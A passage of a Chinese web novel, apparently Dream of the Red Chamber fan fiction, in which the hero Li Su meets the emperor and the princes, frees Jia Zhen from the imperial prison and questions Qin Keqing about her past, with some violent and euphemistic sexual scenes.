“老爷说的哪里话,奴婢往后 都是老爷的人了,自然要服侍的。” 李素调笑:“可是你是我的长史。” “那都是哄人的话罢了,明眼人哪个不知是皇上把奴婢给了老爷?” “真是聪慧,可惜你家大人都想不到这一层。” 元春轻笑一声:“大约是想到了的,但不甘心罢了……老爷,你那红色的皮裘真是好看,但昨日有了残破,奴婢修补好再还给老爷吧,今日披这个貂皮的黑裘可好?” 李素被她服侍着穿好了衣裳,只见元春轻移莲步,拿起了放在一旁的那件黑色皮裘。 这件皮裘乍一看去通体漆黑,皮裘边缘处精心镶嵌着一圈细密的银色丝线,与黑色形成鲜明对比,更显其华贵,领口和袖口则用洁白如雪的绒毛加以装饰,不仅增添了几分柔软温暖之感,还让整件皮裘显得更为精致高雅。 “这是哪来的?” “皇后娘娘赐的,娘娘对老爷还真是不同呢,据说这裘袍本是送给滇王爷的。” 李素心说,真是不同,对人家好的时候这么好,对人家凶的时候那么凶,早晚要你好看。 “贾女史,贾女史。” 屋外有宫女在拍门。 元春忙去开门,李素也跟着出了卧房,随后就见一个宫女进了屋子,先给李素行了礼,随后道:“李爵爷可更完衣了?皇上听说李爵爷大好,要见呢。” “陛下在哪儿?” “西暖阁,派了太监来传话。” “嗯,带我去。” 李素随元春点了点头,就随着宫女往外走去,刚出了走廊前行了十余步就听后面有人喊:“孙贼留步!” 他听出来了,是李元亨的声音,孙子才留步呢,他装听不见继续前行。 “呔!李素,你他娘的快停下!” 李素止步转身,只见李元亨在两个太监的搀扶下,怒气冲冲的正看着自己。 “哈哈,我道是谁呢,原来是伤腚王爷,你这是好了?”李素走到他面前仔细打量他。 李元亨二目圆睁:“别废话,把你爹的裘袍还来!” 第120章 伴君如伴虎 李素转身就走。 心中嗤笑,还你个锤子,你娘给的。 引路的宫女还有些迟疑,李素皱眉催促一声:“等什么呢?快走!” “是!” 李元亨急了:“李素,你这小贼别跑!” 李素开始跑。 宫女只好跟着小跑。 李元亨见状急催两个扶着他的太监:“快,追,架着老子追!” 两个太监只好快步往前奔。 “停,嘶…疼,疼,疼,疼,疼……”他龇牙咧嘴的捂着屁股倚靠在太监身上,看着李素快要消失的背影大骂:“奶奶的,早晚老子要给你当爹。” 李素听到了,小声嘀咕了一句:“谁给谁当爹还不一定呢。” 不多时,由小太监接了,往太极宫西暖阁而去。 “小公公,陛下那里可有早膳?” “啊,奴才不知啊。” “你不在里头服侍?” 小太监赔笑:“小的是宫门外跑腿儿的。” “有银子么?” “奴才有俸禄的。” “其他的呢?比如给你行贿的?” 小太监闻言,面色一白:“爵爷,奴才,奴才可从来没有收过银子啊,可不敢乱说。” 李素摇摇头:“你得努力,不收银子的太监可不是好太监。” “李花园,莫要教坏了咱家的人。”西暖阁前,夏守忠不悦道。 “哈哈哈,开个玩笑,老夏早啊。” 夏守忠躲开李素拍他肩膀的手,面色僵硬,开口道:“您也别这么开,看把他吓的……快走吧,皇上正等着呢,您可不是知道,昨日里皇上听说您昏迷不醒,把太医院的人全叫了来,下旨按照皇子的规格治,这可是真真儿的前所未有啊。” 李素听完,面色变得郑重了起来。 趁他不注意,用力揉了揉眼睛,感觉应该红了,放下手跟着夏守忠就进了殿门。 雍和帝正在看奏折,抬眼看了他一眼,摆摆手说了声:“坐。”继续看折子。 夏守忠会意赶紧搬了个秀墩儿给李素。 李素摇头,走到一侧,拿了一盏灯放在了雍和帝桌上,然后抽了抽鼻子小声道:“陛下,屋里的光线有些暗了,伤眼睛。” “怎么?觉得朕老了?” 雍和帝抬眼瞧他,见他眼眶发红,不由得声音软了软,继续道:“朕当年也是能开三石弓的,确实是老了啊。” “所以陛下才要保重身子才是。” “你倒是实诚,不学他们说什么皇帝春秋鼎盛,龙体康健。” “他们是为了当官儿,臣不是。” “你不是?” 雍和帝笑眯眯的看着他。 李素拱手行礼:“陛下,臣不求官职有多大,只求君父康健,社稷安稳,百姓饱腹。” 雍和帝见他说的真诚,点了点头:“坐下说,朕让你坐你就坐。”然后他又拿起奏折看了起来,李素把绣墩儿拉到了皇帝的近前,随后坐下来等着接下来的问话。 “上下一日百战,这话你怎么看?” 李素顿时头皮一紧,这话太敏感了。 “臣认为韩非说的对!” “这帝王术,你为何研习?” 李素心中想骂娘,皇帝真他娘的难伺候,这个时候韩非子的书不是禁书也差不多,可是他不知道,林如海也没想到他看过韩非子。 他站起身,躬身行礼。 “陛下,臣是无意间读到韩非的书,其中不乏治国良策,臣就留了心,至于其中的权谋,臣还年轻也没进入官场,领会说是皮毛都是大言。但是臣也要说句大话,臣有抱负。” “什么抱负?” “不想当宰相的读书人,就不是好的读书人。” “哈哈哈,好一个宰相抱负。” 李素心里松了一口气,总算混过去了。 “嘿,还要陛下教诲。” 雍和帝忽然又说了一句:“你好像没有行跪礼?” “啊,臣忘记了,这就磕头。” 雍和帝笑了笑:“罢了,坐下吧,没有诚意……你仔细跟朕说说昨日金宝街之事。” “是,陛下,臣听到爆炸声就以为是那些个假银子被人引爆了,就央着季宗礼带臣去现场看。” 雍和帝记得这事儿,他面色一沉:“结果呢?” “臣看完现场,认为不是,那根本不是臣那一点儿药能炸出来的坑。” “嗯,火器局郎中已经在家中自尽了,你接着说。” “臣见火势如此大,就带着护卫想帮帮 忙,尤其看着他被大火烧家哭嚎的孩子、老人,臣于心不忍,他们是无辜的,这大冬天的可怎么活啊?” 雍和帝冷哼一声:“不用你提醒朕,说正事儿!” “嘿,是,陛下,臣然后就发现了一伙人,他们不做灭火的事儿,反而将引火之物扔向了未燃的民宅,这臣如何能忍?” 李素看了看皇帝,没有接话,于是继续说了下去。 等他说完后,雍和帝骂道:“自恃勇武,实则莽夫!还想当宰相?” 李素面色沮丧,再次站了起来承认错误:“臣知错了,就应该先叫龙禁卫,直接大军拿人,可能还可以抓几个活口。” “你去西城兵马司先做个指挥使吧,把这些人给朕找出来。” “啊,什么时候?” “你要没事儿,现在就走吧。” “不是,陛下,臣还要回扬州过年呢。” 李素有点儿急了,这当官上了任,还怎么回去过节?林妹妹还等着呢,还有林师父,自己还要去找一趟妙善,身世的事儿始终在他心头压着。 雍和帝斜眼看着他,不说话。 李素无奈,知道逃不脱了,只好继续问道:“臣能请假回去过年么?” 雍和帝看也不看他了,直接翻阅起了奏折。 “陛下,臣年后还要去金陵参加春闱呢。” 雍和帝放下手中奏折,语重心长道:“做出成就,你想去爪哇过年也没有人管你。” 李素大喜:“谢谢陛下,谢陛下!” “滚吧。” “多谢陛下,臣这就滚。”他行完礼就快速跑出了殿门。 雍和帝摇了摇头,看向了夏守忠:“兵马司出成就很容易么?” “陛下兴许花园子爵真行,也说不准。” 李素跑回了凤藻宫,就见李元亨在殿门口,手里拿着一根棍子,满脸怒气的看着他。 “好狗不挡道!” 第121章 三个皇子 “大胆!你不过一个小小子爵,谁给你的胆子如此跟皇子说话?” 殿内传来一声大喝。 李素闻声望去,只见殿内皇后在上首就坐,元春服侍在旁。 下首还有三个青年,其中一个豁然起身对自己大声呵斥,表情孤高,尖尖的下巴快要扬到天上去了。 “这个下巴能刨地的是谁?” “下巴……嘎嘎嘎…大哥……哈哈哈…你要刨地吗?嘎嘎嘎…”李元亨乐的直抽抽,本来拿着棍子要揍李素的,这会儿却成了他的拐棍儿。 竟然是大皇子! 其余两个青年,眼中憋着笑,玩味儿的看着李素。 只见尖下巴的面色,瞬间涨红了,气的手直哆嗦:“你……你也是有功名之人,竟然出此……你,你,你妄为……污蔑皇子,该当何罪!” “额?我书读的不好,父母都是种地的,家里刨地的锄头尖尖,这位高傲的大皇子殿下让我起了思乡之情,李素万谢!” 李素说着进了殿,就冲着他躬身行了一礼,随后继续道:“臣,实在不知您是大皇子,请恕不知之罪。” 接着他不等这大皇子说话,对皇后行礼:“娘娘,陛下派了差使,要臣现在出宫。” “用完早膳再走,他们三个是小四的哥哥,你们认识一下。” “遵命。” 大皇子怒气未消,斜着看了他一眼,不说话,高傲如鸡。 黑衣青年一指旁边的座位,也不起身,笑道:“坐,孤是楚王,行二。” 李素点了点头,看向了玄衣青年,心道这必是老三了。 玄衣青年起身,对着李素行了一礼,笑着道:“常听父皇母后说起,今日终于见着了,果然花园子爵英武非凡,国之栋梁,小王行三,得父皇赏一个靖字。” “见过靖王爷,王爷温润如玉,必贤名广达,得识王爷是李素的幸运。” 见礼完毕,李素坐了下来,不搭理老大,老大也不搭理他。 相看两厌。 “妙言与小四是生死的交情,这你们应该都知道了,所以他们二人说起话来也毫无遮拦,用膳吧。” 皇后又补了一句。 大皇子闻言,踯躅了一下,对李素一拱手:“本王要谢你救下四弟之情,若是在京中有事,可至梁王府……支应一声。” 李素心中发笑,冷着脸回了个礼:“梁王若有事可至西城兵马司寻我。” 梁王嗯了一句,不再理他。 “儿子,你有差事儿了?” 滇王一瘸一拐的走到李素身边,拿棍子戳了戳他。 “去你……你的,我才是你…”见皇后的眼睛斜了过来,赶紧改口:“我是你……”他被憋住了,当着皇后骂他娘,给他当爹的话,有点儿难出口了。 “嘎嘎嘎…你说啊,你是我什么?” 李元亨又拿棍子戳他。 “我是你发则儿!” 李素把他的棍子一把夺了过去,李元亨站立不住,被两个太监赶紧扶住。 “啥(⊙_⊙)?” 李素不再说话,端起案上的粥唏哩呼噜就喝了起来。 靖王眼中飘过了一丝莫名的意味。 梁王本来端起了碗,听到李素这声音,又放了下去,眼中嫌弃之色丝毫不加掩饰。楚王嘴角抽了抽,也把粥碗放了下去,拿起一块儿糕点吃了起来。 靖王好似没感到发生什么,继续他自己的节奏开始用餐,李元亨则端起一个粥碗,大口的喝了起来。 边喝边看李素,跟他比声大! 殿里一时间,唏哩呼噜的声音,此起彼伏。 白皇后终于看不下去了,呵斥道:“你们俩,给本宫滚,当本宫的早膳是猪食么?” 李素把碗举高,喝完最后一口,放了下来,起身对皇后一礼:“娘娘的早膳绝对不是猪食,好吃的紧,香,太香了,又白又香。” “母后,我这儿子说的对,嘎嘎嘎……哎呦,你球囊的打我,看老子的霸王锤。” 李元亨把碗一扔,撅着腚,挥拳就对着李素打去。 “哼,你太慢了!” 李素的手闪电伸出,一把抓住了李元亨打过来的拳头,随后一扭,瞬间就把他的手撅到了他背后。 被摁趴在了两个太监身上。 “成何体统!皇后面前打打闹闹,把凤藻宫当什么地方了!” 大皇子,又怒了! 不知道他是真反感两个人在皇后面前打闹,还是生气李元亨的粥碗差点儿砸到他,他站起身向两个人呵斥。 李素放开了李元亨,没搭 理大皇子,而是对他道:“要不咱俩出去练练?” “出去就出去,现在就走,今天我就要让你知道谁是爹,别看老子受了点儿伤,一定能干死你!” “就你这么个残废?” “残废也能打你个满脸花!” 两个人拉拉扯扯,互相叫嚣着,说着天下最硬的话就出了殿门。 他们二人走出大殿后。 他们的吵闹声不再,殿内,突然间仿佛被施了静音咒一般,瞬间陷入了一片死寂当中。 三皇子也好像被这氛围感染,默默地放下手中的粥碗,再也没有继续进食的动作。 而端坐在高位之上的白皇后,则静静地凝视着眼前这三个沉默不语的皇子,她那美丽而又威严的面庞上看不出丝毫情绪波动。 整个大殿里弥漫着一种令人窒息的静谧气氛,静得就连每个人轻微的呼吸声都显得格外清晰可闻,这种静谧渐渐地带来了一些无形的压力。 “你们怎么看?” 老大见皇后问话,当仁不让先开口了。 “母后,李素此人没有丝毫规矩和敬畏之心,其人不可用也。” 楚王轻斜了大皇子一眼,对皇后拱手行礼:“母后,此人有忠孝之心,可用,不可大用。” “母后,儿臣以为不宜过早下定论,观其迹再论其心。” 靖王说完,白皇后鼓掌。 “你们三个都是好的,将来必然都是你父皇的好帮手,不像你四弟乱七八糟的。” 老大瞬间感到一股大任压在了肩头,尖下巴猛点,对着皇后行礼。 “母后,四弟虽然疯疯癫癫,但难得一片赤子之心,我这当哥哥的会好好爱护他,能为父皇分忧,是儿臣的责任,也是儿臣的心愿。” 皇后笑眯眯的看着他,不住的点头,心中却骂了起来。 你娘的批! 你全家都疯疯癫癫。 接着心中叹息,要不是小四不争气,自己何苦要应付眼前这小婢养的三个犊子。 第122章 真假疯癫 凤藻宫外的台阶上。 李素坐了下来,裹了裹身上的皮裘,暖和! 李元亨哼哼两声。 “老子的三个哥哥怎么样?” “老大自以为是,老二盯着老大,老三盯着所有人。” “如此议论皇子,你不怕?” 李素哈哈一笑:“我怕个球?告诉你,老子是硬顶过核弹的人,想当年在仙界,神挡杀神,佛挡杀佛,纵横中东黑非小鸟酱,就没怂过。” 李元亨听他扯完蛋,没有回应,反而叹了口气:“唉!” 李素抬眼看他:“你这孙子也有愁事儿?” “你不懂。” “我不懂?你是皇上和皇后的嫡子,法理上你当太子没毛病,但你又是最小的,这又给你那三个哥哥留了些想象空间,如果你当了太子,三个人会一起想办法先干掉你,所以你装疯。” “你看出来了啊?” “看历史,这事儿不少啊,孙子。” 李元亨不在意他占自己便宜的话头儿,苦笑一声。 “你可能不知道,老子除了装疯,还是真的疯癫,就是有时候控制不住自己发癫,这些年被我发癫打死的宫女太监,有一百多个了吧。” 李素一怔:“真的?看不出来啊?” “不然,你以为我假疯癫的话,父皇母后会看不出来?他俩太聪明了,我可顶不住。” “那你还真的当不了储君。” “是啊,我也不想干。” 李素还真没想到李元亨是真有疯病,开始认识的时候,在彭城码头就以为这家伙是个暴戾的神经病,后来感觉这家伙可能在装,现在才知道他是真假掺半。 但这就是真的吗? 他想起了皇帝今日的问话:上下一日百战! 韩非子认为,皇帝和臣子间,一日之间都会有上百次的相互算计,臣子琢磨着皇帝的心思,从中谋取利益。 皇帝则提防着臣子,防止臣子侵害自己。 往后再说就是皇帝要鼓动臣子之间相互斗争,把目光从自己身上挪开,否则皇帝对付每一个人都要耗尽心思,而手下的官员何止百人,累死也弄不好。 所以皇帝要玩阴谋,让人看不到自己真实的心思,藏得深之又深。 所以,结论就是皇家的人都是神经病,还是离的远一点儿的好。 “你爹要走了,儿子你保重!” 李元亨瞪大了眼睛看着李素站起身,头也不回的往宫外走,随后大骂:“李素!你狗日的大不敬,你有反心!” 但李素根本不看他,不回头。 李元亨气的左右看看,叫过远处刚才被他赶开的太监,两个小太监来到近前,李元亨也看到了自己的三个哥哥正往这边来。 只见他目光一冷,如闪电般迅速地伸出右手,紧紧抓住其中一个太监的衣襟。 那太监惊恐万分,想要挣扎却不敢挣扎。紧接着,他薅住那太监的头发,用力将其脑袋朝着坚硬的台阶狠狠地砸去。 伴随着一声凄厉至极的惨叫,那太监的额头与台阶猛烈碰撞,瞬间鲜血四溅,仿佛一朵盛开的血花绽放在冰冷的石阶之上。 仅仅是眨眼之间,这个太监便已经气绝身亡,再无半点生机。 李元亨面不改色,再次伸手薅住了另外一个正吓得浑身瑟瑟发抖的太监。同样的动作,同样的狠辣无情,又一次将那个太监的头颅砸向台阶。 又是一阵惨呼声响起,但很快便戛然而止,第二个太监也在刹那间命丧黄泉。 就在这时,远处的三位皇子恰好目睹了这一幕。他们大声呼喊:“小四,四弟,你怎么了?快住手啊!” 一边喊着,三人脚步匆忙地向着这边狂奔而来。 李素不知何时扭头,看到了李元亨施暴的一幕,心中微寒。 这皇宫真吃人,人心都被吃尽了啊。 就是不知皇后的心是不是还在? 元春还有一半吧。 他不再看,大步朝宫外走去。 到了宫门口,有太监把自己个人物品送还了,其中包括自己的子午剑,还有个锦盒,李素打开看,一颗没了须子的秃头人参,静静的躺在里面。 他感慨这个罪魁祸首,都是因为它,元春吃了顿好的。 交接完后,李素就出了宫门。 有人等自己! “素哥儿。” “素大爷。” “大兄!” 众人一通乱喊,面色激动。 李素看去,有李无色、有薛蝌、还有赖大?这玩意儿怎么来了? 还有个瘸子! “爵爷,还记得我么?” “飞鱼卫的路佥事,我怎会忘?哈哈哈,在天津还多亏了你的马。”李素拍了拍他的肩膀。 路不平满脸堆笑:“托爵爷的福,我升了同知,今日迎爵爷出宫,想请一个东道,不知爵爷是否方便?” “方便,怎么不方便,你等我一下。” 李素转身看向了和尚。 李无色面色凝重,凑近了道:“十名护卫,死了一半,另外五人也都重伤,现在已经无碍了,飞狐把他们接了过去,说回头安排在小府里养着,他们拼死搏杀的经验可以做个教授。” “嗯,还有他们的家小,抚恤银子翻一倍给吧。” 和尚点点头。 然后他看向薛蝌。 “蝌兄弟,我无事,你回去跟宝琴妹妹说一下,另外调集物资进京,金宝街被烧合该咱们再赚一笔,货物以粮食为主。” “大兄,我已经安排了。” “好。” 赖大见李素说完,赶紧凑了上来:“素大爷,素大爷,我是赖大,我奉老太太之命接您回府。” “嗯,我忙完就回。” “是……额,素大爷,有件事儿老爷想问问。” “何事?” “就是东府里的人都被抓了起来,这什么时候才能放了?” “我哪知道?我回头打听一下吧。” 他真不知道,这一日后,朝堂里贾府里到底发生了什么变化,他完全不知道。 路不平一挥手,旁边过来一个轿子:“爵爷,上轿吧,暖和点儿。” 李素也不矫情,天寒地冻的,坐轿子确实比骑马要舒服的多。 头一次坐轿子,一摇一颠的,他在里面都快睡着了,大约过了半个多时辰,轿子停了下来,到了一处小院儿。 “爵爷,这里安静,都是一些家常菜,您别嫌弃就好。” 李素打量着小院儿,确实安静,一个娇俏小娘忙张罗着。 他也不多问。 等落了座,路不平低声道:“爵爷,皇上下了旨,让贾珍等回府,我听季宗礼说,您问了一嘴,我就拦了下来,等问过爵爷后,再放他们。” “嗯?这是违旨吧,你,为什么?” 第123章 迷信的路不平 “不违,旨意没说具体哪个时辰放,再者现在朝里也无人帮贾珍说话,他得罪了所有人。” “路同知好像没理由帮我,我爵位不过子,在朝上毫无根基,朝下更没势力,更何况飞鱼卫与朝臣走的太近,真的合适?” 李素直接把疑惑说了出来。 路不平笑了,亲自起身给李素斟了一盏茶。 “爵爷有所不知,我路家是飞鱼卫世家单传,我爹我爷爷都是飞鱼卫,他们都因公死了,所以我一个瘸子能做到指挥佥事。” 李素点头,烈士遗孤在体系内受照顾很正常。 他坐下来,冲一旁的小娘摆了摆手,丫鬟小娘退了出去,他接着道。 “但先人遗泽也就到此为止了,直到您的出现,我抓住机会超越了先人,我路不平做事信三条,一是心细敏达、二是守规不逾矩、三是拜神借运。” 李素拧眉,拜神借运是什么鬼? “今日之前,您是无差事官职的子爵,我与您相交不逾矩,所以这是我跟您的的一顿饭,也是最后一顿饭。” 路不平说到这里站起身对李素躬身作揖:“拜神借运乃家传之法,您是有大运之人,我路不平正是借了您的运势才升了官儿。” 这怎么神神叨叨的? 自己难道穿的红楼是个神话版? 李素不太理解。 只见路不平伸手从脖子里摘下了红绳项圈,上面挂着一个袋子,他从袋中取出了一个牌子,递了过来。 “还请爵爷允许我我奉祀。” 李素接过来看,只见牌子上写着:大周子爵李公讳素字妙言之神主,路不平奉祀。 他看完实在不知道说什么好了,自己这应该是遇到了个迷信的飞鱼卫,李素把牌子递了回去,嘴角抽动了一下:“你高兴就好。” 路不平开心的把牌子小心翼翼的放回了袋子。 “爵爷稍坐,饭食马上就好,我去一下就来。” “好。” 只见路不平转身出了屋子,然后向屋后走去,来到一处偏小低矮的房前,他拿出钥匙打开门,屋中点着油灯。 屋里陈设简单,只有一个宽大的香案,只见香案上竟然摆着一溜儿的牌位,朝堂六部大员竟然都在其中,竟然还有林如海的牌子。 全是生祠牌位。 路不平拱手拜了拜,从香案下拿出了一个牌位,看样子是新作的。 牌位上的字跟他脖子上挂的竟然一模一样,还是李素。 他把这个牌位摆上了香案后,随后叩首作揖,最后上香完毕,自言自语道:这回应该是遇到了真神了吧。 他又看了看其他的牌位,面色复杂,犹豫着是不是撤掉,想了想还是作罢了,万一哪个大人开始灵验了呢。 用完餐,午时刚过。 小娘把残局收拾好,给两人又泡上了茶。 “爵爷,贾珍和其子、其妻在飞鱼卫诏狱,其余三百余人在顺天府牢,您有何安排?” “这样,我去见见贾珍,其余人……先押着吧,反正皇上也没说放不放小厮仆役,你如若有功夫帮我审审他们,贪了宁国府多少银子?” 路不平笑了:“懂了,咱们走?” “走。” 两人缓缓站起身来,整理好衣衫,然后并肩朝着门外走去。 刚踏出院子,便瞧见那几个轿夫依旧在原地等候着。 李素上了轿子。待他坐稳之后,轿夫叫起,直奔飞鱼卫的大狱方向而去。 大约半个时辰,轿子终于缓缓停了下来。 李素轻轻掀开轿帘,左右张望。首先映入眼帘的是一座由高墙围合成的院子,那院墙高耸,给人一种压抑之感。 而院子的门却显得十分狭小,此刻正紧紧地闭拢着,宛如一只紧闭双唇、守口如瓶的巨兽。 门上也没有任何牌匾字样儿。 李素又将目光投向周围,突然间,他惊讶地发现远处竟能隐约望见皇宫的城墙。 “这诏狱竟然离皇宫如此之近?咱们这是又回来了?” 一旁的路不平听闻此言,上前一步道:“诏狱中关押的皆是陛下亲自点名要审讯之人,说不定什么时候陛下的旨意就会传达下来。因此,将诏狱建得离皇宫近些,也好方便行事。” “了解。” 路不平引着李素叩开了诏狱小门,内部森严,守卫的人不算多,但是手续繁琐,关节众多。 “这诏狱并不是关押江洋大盗好勇斗狠之人,也不存在劫狱越狱,所以重点的关节就在程序环节。” 路不平解释了一句。 李素 签完最后一个押,点点头笑着道:“理解,我来接珍大哥回家,合乎程序。” 两人并肩而行,果如李素之前所猜测的那样,这座监狱在地下!与想象中的不同,这里虽显得阴森昏暗,但出人意料地并不脏乱。 墙壁上的石壁因年代久远而略显斑驳,地面也由石板铺就而成,尽管有些地方已经出现裂痕和磨损,但整体还算整洁干净。 微弱的光线从头顶上方的透气孔中洒落下来,勉强照亮了前方的通道。沿着这条幽暗而潮湿的通道前行,可以看到两侧分布着一间间狭小逼仄的牢房。 一阵凄厉的嚎叫声划破了这片死寂。“我冤枉啊!放我出去,我是景田侯之孙!“紧接着,又传来另一声怒吼:“我要面见陛下,你们怎能如此无缘无故地关押于我?“ 声声喊冤声,在狭窄的空间里回荡不休。 景田侯之孙就是自己的兵马司前任裘良,应该是出不去了,但没听到贾珍的喊声。 路不平引着李素进了一间暗房,随后他出去把贾珍带了进来,只见贾将军双脚上被锁着镣铐,是被两个狱卒给架进来的。 他脑袋上还裹着血布,身上肮脏一片,不知道从哪蹭的,还带着一股难闻的气味,嘴里不停的喃喃自语。 “我都交代了……我没有造反,我没有造反…我…也不是逃跑……” 李素看着躺在地上像个蛆虫一样的贾珍,随后冲路不平点了点头,路不平带着狱卒就出去了。 李素随后在贾珍身边蹲了下来,捏住自己的嗓子,一出声,嗓音干裂。 “皇上问:你为何让贾蓉娶了小门小户的秦氏女?说实话则活,回府做你的贾将军,不说则死!” 第124章 审问贾珍 “啊?大人……说甚?” “你为何让贾蓉娶了小门小户的秦氏女?” 贾珍愣了一下,身子又蛄蛹了一下道:“她美!” “你怎知她美?” “那一日,我去打醮,在清虚观见了她,便……喜爱了,便差人向……秦,秦…额对,秦业提亲。” 竟然不是指婚?而是见色起意! 这出乎了李素的意料,他接着问道:“你为什么去打醮?” “家母诞辰。” “你他娘的还挺孝顺,你每年诞辰都去?” “不是。” “为何那年去了?” “我父亲来信斥我……不孝。” “何时的信?” “家母诞辰前五日。” 李素有数了,这就是贾敬谋划的,他深知自己儿子的臭德行,等回去再问问可卿,怎么去的清虚观,线索就能合拢了。 忽然他又想起一事,踢了他一脚继续问道:“你为何不纳秦氏为妾,而是让她嫁给你儿子?不觉得门不当户不对么?” “额……这…” 贾珍顿住了。 李素朝着贾珍狠狠地又踹了一脚。 “说!” “哎哟!”贾珍发出一声杀猪般的惨嚎,他颤抖着,嘴里求饶道:“我说,我说!” “是……是我觉得…更刺激!” “干你娘!” 李素又狠狠的踹了他两脚,随后不理会惨嚎不已的贾珍,出了牢门。 贾敬了解自己的儿子已经到了这个地步了么?李素更倾向于贾珍如果真纳秦可卿为妾,贾敬会站出来阻止,并要求贾蓉迎娶。 但是他预料不到秦可卿会被自己的儿子残害么?或者骚扰么? 如果贾敬想要照料皇室孤女,必不能让贾珍见色起意的。难道秦可卿的身世,并不如自己想象的那样贵气? 还是这里面还有其他事儿? 李素感觉自己问完这些话,更加迷惑了。 路不平引着李素出了牢房,到了地面厅房落座,二人也不多话,静静的等了一会儿。 突然间,一阵沉闷门响,几个狱卒拖拽着三人出来了。 走在最前面的正是贾珍,惨状就不说了,李素刚见过。 跟在贾珍身后的是贾蓉,头发散乱如杂草,胡乱地披散在肩头。那张俊脸变得苍白如纸,双眼空洞无神,毫无生气。 最后面的则是尤氏,她的脸色灰白,满脸的泪痕纵横交错,将她的妆容彻底冲垮,使得她看上去狼狈至极。昔日的端庄与优雅荡然无存,满眼哀伤和绝望。 李素大叫:“珍大哥!蓉哥儿、大嫂子,你们可算出来了啊!” “素……大叔。” 贾蓉眼睛里有了光彩。 “素……素兄弟…是你吗?我……呜呜呜…”贾珍听到贾蓉的话,双手在空气里胡乱抓挠起来,随后竟然哭了起来。 “素兄弟……呜呜。” 葫芦姐姐看到自己的葫芦兄弟,也大声哭了起来。 李素朝着大嫂子点了点头,随后说道:“无事了,无事了,咱们这就回去。”李素接着朝路不平一拱手:“烦请大人派个车,把我素大哥他们送回去,我们给银子。” “对对,给银子,给银子。” “好。” 路不平安排人套了两辆车子,把三人装起来后,就往宁国府而去。 李素嫌脏没有上他们的马车,而是向路不平要了一匹马,他骑马在一旁跟着,一路无话到了宁国府。 到了府门停下马车后,贾蓉搀着贾珍下车:“老爷,到家了。” 下了车的贾珍还心有余悸,站在门前就喊了起来:“赖二,赖二,给这些大……大人们拿银子来。” 可是无人应。 忽然角门儿打开,窜出来一人,是门子,见是贾珍顿时喊了起来:“老爷回来了!” 接着又是几人喊:“珍大老爷回来了!” 几个小厮仆役哭喊着上来就给贾珍等三人磕头。 贾珍也看不见,但听得出来不是赖二,于是继续问道:“赖二呢?” 门子道:“老爷,赖管家被抓了,还没回来啊,府里有二百余人都被抓走了啊。” “都…都被抓走了?” 他还真不知道,他是从后门逃走的,那些人跟着贾赦贾政一块跑去的前门,双方完全错过了。 “珍大哥,先回府再说吧,银子我来给。” “好,好,麻烦素哥儿了。” 宁国府此时就剩了几个仆役和一堆丫鬟,走到府 里面顿时感觉空荡荡,没什么人气儿,贾珍和贾蓉回了小院儿。 他们被仆役丫鬟伺候着洗漱安顿,尤其还要看大夫,二人都发烧了。 尤氏被自己丫鬟银蝶架走了。 李素则趁他们不注意自己,就溜去了天香楼,到了楼上,李素推门竟然没推动,里面反锁了。 随后只听宝珠的声音传了出来:“谁?” “你老爷!” “老爷?“随着这声轻呼传来,紧接着便听到一阵轻微的响动,那是门栓被缓缓抽离的声音。 片刻之后,只听得“吱呀“一声,门敞开。 一道倩影扑出,李素张开的双臂瞬间被填满,一股温热而馥郁的香气扑鼻而来,让他不禁心中大感温暖。 是秦可卿!她美目含泪,娇靥如花,紧紧地拥抱住了李素的腰。 “老爷啊......呜呜呜,你可算是回来了......“秦可卿泣不成声地说道,泪水如断线珍珠般不断滚落,浸湿了李素胸前的衣襟。 后面,丫鬟宝珠也在抹泪。 她们真的害怕,宁国府老是出事儿,后面李素跟着龙禁卫一走就是一天一夜,没有半点儿信,宁国府的人又被抓了个空。 此时见到李素再也绷不住了。 温存一会儿,李素轻声安慰秦可卿,但秦可卿抱着他的腰就是不放手,一会儿的功夫李素觉得,那老参又开始闹别扭了。 于是弯身揽住了秦可卿的腿弯儿,横着把她抱了起来,就往屋里走。 “啊~老爷。” 秦可卿感到自己的身子被抱了起来,不由得发出一声惊呼。 这一嗓子,让李素心中不由的一荡。 “宝珠,锁门。”话音落下,他将嘴唇凑近秦可卿那如凝脂般白皙的耳垂旁,轻柔低语道:“可卿,给你看个宝贝。” 说完这句话,没待秦可卿回应,便抱着她然后大步流星地朝着里间走去。 第125章 身世之谜难解 被扔到榻上。 颠了臀儿的秦可卿,心儿微颤,不自觉檀口微张,再轻吟一声:“老爷~” 尾音儿绕梁不绝,让李素无法自拔,秦可卿亦如那攀爬的解语花,死死盘腰箍背,似要把这两日的思念恐惧全部排解出去。 丫儿朝天戳,如柳随风摇。 胭脂涂白马,驰骋不由缰。 今日。 不同。 她嚣张。 但即使把宝珠拽了来,二羊排跪,李素依然牢牢把握了胜局。 日后。 李素思索,黛玉拔柳后,系统给的奖励原来不止是自己的力量翻倍,应该是所有的机能都翻倍了,盘算了一下,现在再加三个葫芦姐姐,应该可以到极限。 这稍微有些夸张,他怀疑系统偷偷给自己加了个嫪毐模板。 待主仆二人从死亡中复活,宝珠挣扎着去打水伺候,李素看着面如醉酒的秦可卿,心中喜爱,忍不住又吻了她一口。 “宝贝儿,爸爸问你件事儿。” 秦可卿眼神迷离,被李素的话说的更有些迷糊:“老爷说什么?” 李素忍着笑:“当年你去清虚观还记得么?就是你嫁给贾蓉之前。” 她迷糊了一下,眉儿轻皱,想了一会儿道:“想起来了……嗯,记得呢,老爷怎知奴去过清虚观?” 李素抚弄着她如云散落的秀发,继续缓声询问。 “我审问了贾珍,他说在清虚观见到你后才起了贼心,才有了你后来嫁给贾蓉的事儿,跟老爷我好好说说,你是怎么去的清虚观?” 秦可卿慢慢回想:“我记得,母亲身体不好,父亲让我去给母亲祈福上香。” “那还记得跟贾珍相遇的事儿么?按理说女眷是应该撞不到外男的。” “这个我还真记得,当时丫鬟凝珠说有唱戏的,问我要不要看一看,我好奇就同意了,随后就被小厮拦了,问我们是谁家的。” “凝珠是谁?” “父亲的丫鬟。” 到这里,李素不用再往下问了,他已经十分肯定,当年就是贾敬和秦业的安排,秦可卿的身份背后藏着秘密,也毋庸置疑。 至于是什么秘密,看来还是要从贾敬和秦业下手。 贾珍已经没用了。 这时,宝珠端着盆子进来了,只是身后却跟着葫芦姐姐,只见她眼中水汪汪的,好像受了极大的委屈一般。 不见了刚出诏狱时候的蓬头垢面,现在看起来清减许多,颇有些秀丽素洁,配着她颤巍巍如水的饱满。 这种矛盾又统一的熟美,让花园之主十分喜欢,而此时他正好没有吃饱。 李素哈哈一笑,起身拽过了她,便要戳破她的水囊。 葫芦也乖巧,顺势歪倒。 “素……素哥儿,这……府里管家,仆役……都,都空了…” 